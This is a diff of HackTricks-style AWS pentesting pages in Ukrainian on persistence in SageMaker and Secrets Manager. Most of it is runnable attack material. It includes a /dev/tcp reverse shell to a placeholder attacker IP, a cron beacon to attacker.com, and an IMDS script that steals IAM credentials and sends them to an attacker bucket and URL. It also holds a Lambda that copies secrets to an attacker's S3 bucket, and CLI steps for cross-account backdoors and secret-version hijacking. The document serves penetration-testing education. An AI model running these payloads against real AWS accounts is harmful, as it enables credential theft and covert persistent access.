-sagemaker:CreateNotebookInstanceLifecycleConfig
-sagemaker:UpdateNotebookInstanceLifecycleConfig
-sagemaker:CreateNotebookInstance
-sagemaker:UpdateNotebookInstance
-```
-* Студійні додатки:
-```
-sagemaker:CreateStudioLifecycleConfig
-sagemaker:UpdateStudioLifecycleConfig
-sagemaker:UpdateUserProfile
-sagemaker:UpdateSpace
-sagemaker:UpdateDomain
-```
-## Налаштування конфігурації життєвого циклу на екземплярах блокнотів
-
-### Приклад команд AWS CLI:
-```bash
-# Create Lifecycle Configuration*
-
-aws sagemaker create-notebook-instance-lifecycle-config \
---notebook-instance-lifecycle-config-name attacker-lcc \
---on-start Content=$(base64 -w0 reverse_shell.sh)
-
-
-# Attach Lifecycle Configuration to Notebook Instance*
-
-aws sagemaker update-notebook-instance \
---notebook-instance-name victim-instance \
---lifecycle-config-name attacker-lcc
-```
-## Налаштування конфігурації життєвого циклу в SageMaker Studio
-
-Конфігурації життєвого циклу можуть бути прикріплені на різних рівнях і до різних типів додатків у SageMaker Studio.
-
-### Рівень домену Studio (всі користувачі)
-```bash
-# Create Studio Lifecycle Configuration*
-
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-studio-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-
-
-# Apply LCC to entire Studio Domain*
-
-aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-### Рівень студії (Індивідуальні або спільні простори)
-```bash
-# Update SageMaker Studio Space to attach LCC*
-
-aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-## Типи конфігурацій життєвого циклу додатків Studio
-
-Конфігурації життєвого циклу можуть бути специфічно застосовані до різних типів додатків SageMaker Studio:
-* JupyterServer: Виконує скрипти під час запуску сервера Jupyter, ідеально підходить для механізмів збереження, таких як реверсні оболонки та cron-завдання.
-* KernelGateway: Виконується під час запуску додатку kernel gateway, корисно для початкової налаштування або постійного доступу.
-* CodeEditor: Застосовується до Code Editor (Code-OSS), дозволяючи скрипти, які виконуються під час початку сесій редагування коду.
-
-### Приклад команди для кожного типу:
-
-### JupyterServer
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-jupyter-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-```
-### KernelGateway
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-kernelgateway-lcc \
---studio-lifecycle-config-app-type KernelGateway \
---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
-```
-### CodeEditor
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-codeeditor-lcc \
---studio-lifecycle-config-app-type CodeEditor \
---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
-```
-### Critical Info:
-* Прикріплення LCCs на рівні домену або простору впливає на всіх користувачів або програми в межах обсягу.
-* Потребує вищих дозволів (sagemaker:UpdateDomain, sagemaker:UpdateSpace), що зазвичай більш досяжно на рівні простору, ніж на рівні домену.
-* Контроль на рівні мережі (наприклад, сувора фільтрація виходу) може запобігти успішним реверс-шеллам або ексфільтрації даних.
-
-## Reverse Shell via Lifecycle Configuration
-
-SageMaker Lifecycle Configurations (LCCs) виконують користувацькі скрипти, коли екземпляри ноутбуків запускаються. Зловмисник з дозволами може встановити постійний реверс-шелл.
-
-### Payload Example:
-```
-#!/bin/bash
-ATTACKER_IP="<ATTACKER_IP>"
-ATTACKER_PORT="<ATTACKER_PORT>"
-nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
-```
-## Cron Job Persistence via Lifecycle Configuration
-
-Зловмисник може впроваджувати cron завдання через LCC скрипти, забезпечуючи періодичне виконання шкідливих скриптів або команд, що дозволяє приховану стійкість.
-
-### Payload Example:
-```
-#!/bin/bash
-PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
-CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
-CRON_JOB="*/30 * * * * $CRON_CMD"
-
-mkdir -p /home/ec2-user/SageMaker/.local_tasks
-echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
-chmod +x $PAYLOAD_PATH
-
-(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
-```
-## Витік облікових даних через IMDS (v1 & v2)
-
-Конфігурації життєвого циклу можуть запитувати Службу метаданих екземпляра (IMDS) для отримання облікових даних IAM та витікати їх до місця, контрольованого зловмисником.
-
-### Приклад корисного навантаження:
-```bash
-#!/bin/bash
-ATTACKER_BUCKET="s3://attacker-controlled-bucket"
-TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
-
-# Exfiltrate via S3*
-
-aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
-
-# Alternatively, exfiltrate via HTTP POST*
-
-curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md

@@ -0,0 +1,230 @@
+# AWS - SageMaker Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Огляд методів Persistence
+
+У цьому розділі викладено методи отримання persistence у SageMaker шляхом зловживання Lifecycle Configurations (LCCs), включно з reverse shells, cron jobs, credential theft via IMDS та SSH backdoors. Ці скрипти виконуються з роллю IAM екземпляра і можуть зберігатися після перезапусків. Більшість технік вимагають вихідного мережевого доступу, проте використання сервісів на AWS control plane все ще може дозволити успіх, якщо середовище знаходиться в 'VPC-only" режимі.
+
+> [!TIP]
+> Примітка: SageMaker notebook instances по суті є керованими EC2 інстансами, налаштованими спеціально для робочих навантажень машинного навчання.
+
+## Необхідні дозволи
+* Notebook Instances:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Studio додатки:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## Налаштування Lifecycle Configuration на Notebook Instances
+
+### Приклади команд AWS CLI:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## Налаштування Lifecycle Configuration у SageMaker Studio
+
+Lifecycle Configurations можна прикріплювати на різних рівнях та до різних типів додатків у SageMaker Studio.
+
+### Studio Domain Level (Усі користувачі)
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Studio Space Level (Індивідуальні або Спільні Spaces)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Типи конфігурацій життєвого циклу додатків Studio
+
+Конфігурації життєвого циклу можуть бути застосовані до різних типів додатків SageMaker Studio:
+* JupyterServer: Виконує скрипти під час старту Jupyter server, ідеально підходить для persistence mechanisms, таких як reverse shells та cron jobs.
+* KernelGateway: Виконується під час запуску додатку KernelGateway, корисно для початкового налаштування або для постійного доступу.
+* CodeEditor: Застосовується до Code Editor (Code-OSS), дозволяє скриптам виконуватися при початку сеансів редагування коду.
+
+### Example Command for Each Type:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### Редактор коду
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### Критична інформація:
+* Прикріплення LCCs на рівні domain або space впливає на всіх користувачів чи додатки в межах області.
+* Вимагає підвищених дозволів (sagemaker:UpdateDomain, sagemaker:UpdateSpace); зазвичай простіше реалізується на рівні space, ніж на рівні domain.
+* Контролі на мережевому рівні (наприклад, strict egress filtering) можуть перешкодити успішним reverse shells або data exfiltration.
+
+## Reverse Shell через Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) виконують користувацькі скрипти під час запуску notebook instances. Зловмисник із відповідними дозволами може встановити стійкий reverse shell.
+
+### Payload Example:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistence via Lifecycle Configuration
+
+Зловмисник може інжектувати cron jobs через LCC scripts, забезпечуючи періодичне виконання зловмисних скриптів або команд, що дозволяє stealthy persistence.
+
+### Payload Example:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## Credential Exfiltration via IMDS (v1 & v2)
+
+Конфігурації життєвого циклу можуть опитувати Instance Metadata Service (IMDS), щоб отримати IAM облікові дані та exfiltrate їх у розташування, контрольоване зловмисником.
+
+### Payload Example:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+## Утримання доступу через Model Registry resource policy (PutModelPackageGroupPolicy)
+
+Зловживання політикою на основі ресурсу для SageMaker Model Package Group, щоб надати зовнішньому principal міжакаунтні права (наприклад, CreateModelPackage/Describe/List). Це створює довготривалий backdoor, який дозволяє завантажувати заражені версії моделей або читати метадані/артефакти моделей навіть якщо IAM user/role нападника в акаунті жертви буде видалено.
+
+Required permissions
+- sagemaker:CreateModelPackageGroup
+- sagemaker:PutModelPackageGroupPolicy
+- sagemaker:GetModelPackageGroupPolicy
+
+Steps (us-east-1)
+```bash
+# 1) Create a Model Package Group
+REGION=${REGION:-us-east-1}
+MPG=atk-mpg-$(date +%s)
+aws sagemaker create-model-package-group \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--model-package-group-description "Test backdoor"
+
+# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
+cat > /tmp/mpg-policy.json <<JSON
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowCrossAccountCreateDescribeList",
+"Effect": "Allow",
+"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
+"Action": [
+"sagemaker:CreateModelPackage",
+"sagemaker:DescribeModelPackage",
+"sagemaker:DescribeModelPackageGroup",
+"sagemaker:ListModelPackages"
+],
+"Resource": [
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
+]
+}
+]
+}
+JSON
+
+# 3) Attach the policy to the group
+aws sagemaker put-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
+
+# 4) Retrieve the policy (evidence)
+aws sagemaker get-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--query ResourcePolicy --output text
+```
+Примітки
+- Для реального міжакаунтного backdoor звужуйте Resource до конкретного group ARN і використовуйте attacker’s AWS account ID у Principal.
+- Для end-to-end міжакаунтного розгортання або читання артефактів узгодьте S3/ECR/KMS grants з attacker account.
+
+Вплив
+- Persistent cross-account control of a Model Registry group: attacker може публікувати шкідливі версії моделей або перелічувати/читати метадані моделей навіть після того, як їхні IAM сутності будуть видалені у victim account.
+
+## Canvas міжакаунтний backdoor для реєстру моделей (UpdateUserProfile.ModelRegisterSettings)
+
+Зловживання налаштуваннями користувача SageMaker Canvas, щоб непомітно перенаправляти записи реєстру моделей в обліковий запис під контролем attacker шляхом увімкнення ModelRegisterSettings і вказання CrossAccountModelRegisterRoleArn на attacker role в іншому акаунті.
+
+Необхідні дозволи
+- sagemaker:UpdateUserProfile на цільовому UserProfile
+- Необов'язково: sagemaker:CreateUserProfile на Domain, яким ви керуєте
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md

@@ -1,51 +0,0 @@
-# AWS - Secrets Manager Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Через політики ресурсів
-
-Можливо **надати доступ до секретів зовнішнім обліковим записам** через політики ресурсів. Перегляньте [**сторінку Privesc Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) для отримання додаткової інформації. Зверніть увагу, що для **доступу до секрету** зовнішній обліковий запис також **потребуватиме доступу до KMS ключа, що шифрує секрет**.
-
-### Через Secrets Rotate Lambda
-
-Щоб **автоматично змінювати секрети**, викликається налаштований **Lambda**. Якщо зловмисник зможе **змінити** **код**, він зможе безпосередньо **екстрактувати новий секрет** для себе.
-
-Ось як може виглядати код lambda для такої дії:
-```python
-import boto3
-
-def rotate_secrets(event, context):
-# Create a Secrets Manager client
-client = boto3.client('secretsmanager')
-
-# Retrieve the current secret value
-secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-# Rotate the secret by updating its value
-new_secret_value = rotate_secret(secret_value)
-client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-# Perform the rotation logic here, e.g., generate a new password
-
-# Example: Generate a new password
-new_secret_value = generate_password()
-
-return new_secret_value
-
-def generate_password():
-# Example: Generate a random password using the secrets module
-import secrets
-import string
-password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-return password
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md

@@ -0,0 +1,230 @@
+# AWS - Secrets Manager Персистентність
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Для детальнішої інформації див.:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Через політики ресурсів
+
+Можна **grant access to secrets to external accounts** через політики ресурсів. Перегляньте [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) для детальнішої інформації. Зауважте, що щоб **access a secret**, зовнішній акаунт також **need access to the KMS key encrypting the secret**.
+
+### Через Secrets Rotate Lambda
+
+Щоб автоматично **rotate secrets**, викликається налаштований **Lambda**. Якщо атакуючий зможе **change** **code**, він зможе безпосередньо **exfiltrate the new secret** собі.
+
+This is how lambda code for such action could look like:
+```python
+import boto3
+
+def rotate_secrets(event, context):
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
+
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+# Perform the rotation logic here, e.g., generate a new password
+
+# Example: Generate a new password
+new_secret_value = generate_password()
+
+return new_secret_value
+
+def generate_password():
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
+
+Зловживання `secretsmanager:RotateSecret` для перев'язки секрету на контрольовану зловмисником rotation Lambda і виклику негайної ротації. Зловмисна функція екзфільтрує значення версій секрету (AWSCURRENT/AWSPENDING) під час кроків ротації (createSecret/setSecret/testSecret/finishSecret) до місця екзфільтрації зловмисника (наприклад, S3 або зовнішній HTTP).
+
+- Requirements
+- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
+- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
+
+- Impact
+- The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well.
+
+- Attack steps (CLI)
+1) Prepare attacker sink and Lambda role
+- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
+2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
+3) Rebind rotation and trigger
+- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
+4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
+5) (Optional) Restore the original rotation Lambda to reduce detection.
+
+- Example attacker Lambda (Python) exfiltrating to S3
+- Environment: `EXFIL_BUCKET=<bucket>`
+- Handler: `lambda_function.lambda_handler`
+```python
+import boto3, json, os, base64, datetime
+s3 = boto3.client('s3')
+sm = boto3.client('secretsmanager')
+BUCKET = os.environ['EXFIL_BUCKET']
+
+def write_s3(key, data):
+s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
+
+def lambda_handler(event, context):
+sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
+# Exfil both stages best-effort
+def getv(**kw):
+try:
+r = sm.get_secret_value(**kw)
+return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
+except Exception as e:
+return {'error': str(e)}
+current = getv(SecretId=sid, VersionStage='AWSCURRENT')
+pending = getv(SecretId=sid, VersionStage='AWSPENDING')
+key = f"{sid.replace(':','_')}/{step}/{token}.json"
+write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
+# Minimal rotation (optional): copy current->pending and promote in finishSecret
+# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
+```
+### Version Stage Hijacking для прихованої persistence (custom stage + fast AWSCURRENT flip)
+
+Зловживайте версіонними staging-мітками у Secrets Manager, щоб розмістити версію секрету під контролем атакуючого і приховати її під кастомним stage (наприклад, `ATTACKER`), поки продакшен продовжує використовувати оригінальний `AWSCURRENT`. У будь-який момент перемістіть `AWSCURRENT` на версію атакуючого, щоб отруїти залежні робочі навантаження, а потім відновіть його, щоб мінімізувати виявлення. Це забезпечує прихований backdoor persistence і швидку маніпуляцію часом використання без зміни імені секрету або rotation config.
+
+- Вимоги
+- Права: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (для перевірки)
+- Ідентифікатор цільового секрету у регіоні.
+
+- Вплив
+- Підтримувати приховану версію секрету під контролем атакуючого і атомарно перемикати `AWSCURRENT` на неї за вимогою, впливаючи на будь-якого споживача, який резолвить те саме ім'я секрету. Перемикання та швидкий відкат зменшують шанс виявлення, одночасно дозволяючи компрометацію під час використання.
+
+- Кроки атаки (CLI)
+- Підготовка
+- `export SECRET_ID=<target secret id or arn>`
+
+<details>
+<summary>Команди CLI</summary>
+```bash
+# 1) Capture current production version id (the one holding AWSCURRENT)
+CUR=$(aws secretsmanager list-secret-version-ids \
+--secret-id "$SECRET_ID" \
+--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
+--output text)
+
+# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
+BACKTOK=$(uuidgen)
+aws secretsmanager put-secret-value \
+--secret-id "$SECRET_ID" \
+--client-request-token "$BACKTOK" \
+--secret-string {backdoor:hunter2!}
+
+# 3) Restore production and hide attacker version under custom stage
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage ATTACKER \
+--move-to-version-id "$BACKTOK"
+
+# Verify stages
+aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
+
+# 4) On-demand flip to the attacker’s value and revert quickly
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$BACKTOK" \
+--remove-from-version-id "$CUR"
+
+# Validate served plaintext now equals the attacker payload
+aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
+
+# Revert to reduce detection
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+```
+</details>
+
+- Примітки
+- Коли ви вказуєте `--client-request-token`, Secrets Manager використовує його як `VersionId`. Додавання нової версії без явного встановлення `--version-stages` за замовчуванням переміщує `AWSCURRENT` на нову версію та позначає попередню як `AWSPREVIOUS`.
+
+
+### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
+
+Зловживати Secrets Manager multi-Region replication, щоб створити репліку цільового секрету в менш-моніторованому Region, зашифрувати її attacker-controlled KMS key у цьому Region, потім promote репліку до standalone secret і прикріпити permissive resource policy, який надає attacker read access. Оригінальний secret у primary Region залишається незмінним, що забезпечує довготривалий, прихований доступ до значення секрету через promoted replica, водночас обходячи KMS/policy обмеження на primary.
+
+- Вимоги
+- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
+- У replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (або `kms:PutKeyPolicy`) щоб дозволити attacker principal виконувати `kms:Decrypt`.
+- Наявність attacker principal (user/role), який отримає read access до promoted secret.
+
+- Вплив
+- Постійний cross-Region шлях доступу до значення секрету через standalone replica під attacker-controlled KMS CMK і permissive resource policy. Primary secret в оригінальному Region залишається недоторканим.
+
+- Атака (CLI)
+- Змінні
+```bash
+export R1=<primary-region>   # e.g., us-east-1
+export R2=<replica-region>   # e.g., us-west-2
+export SECRET_ID=<secret name or ARN in R1>
+export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
+```
+1) Створити attacker-controlled KMS key у replica Region
+```bash
+cat > /tmp/kms_policy.json <<'JSON'
+{"Version":"2012-10-17","Statement":[
+{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
+]}
+JSON
+KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
+--query KeyMetadata.KeyId --output text)
+aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
+# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
+aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
+```
+2) Реплікуйте секрет в R2, використовуючи attacker KMS key
+```bash
+aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
+--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
+aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
+```
+3) Підвищити репліку до автономного екземпляра в R2
+```bash
+# Use the secret name (same across Regions)
+NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
+aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
+aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
+```
+4) Прикріпити пом'якшену політику доступу ресурсу до окремого секрету в R2
+```bash
+cat > /tmp/replica_policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
+JSON
+aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
+aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
+```
+5) Прочитайте секрет із attacker principal у R2
+```bash
+# Configure attacker credentials and read
+aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
+```
+

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

@@ -1,77 +0,0 @@
-# AWS - SNS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Persistence
-
-При створенні **SNS теми** вам потрібно вказати за допомогою IAM політики **хто має доступ до читання та запису**. Можна вказати зовнішні облікові записи, ARN ролей або **навіть "\*"**.\
-Наступна політика надає всім у AWS доступ до читання та запису в SNS темі під назвою **`MySNS.fifo`**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__default_statement_ID",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"SNS:Publish",
-"SNS:RemovePermission",
-"SNS:SetTopicAttributes",
-"SNS:DeleteTopic",
-"SNS:ListSubscriptionsByTopic",
-"SNS:GetTopicAttributes",
-"SNS:AddPermission",
-"SNS:Subscribe"
-],
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-"Condition": {
-"StringEquals": {
-"AWS:SourceOwner": "318142138553"
-}
-}
-},
-{
-"Sid": "__console_pub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Publish",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-},
-{
-"Sid": "__console_sub_0",
-"Effect": "Allow",
-"Principal": {
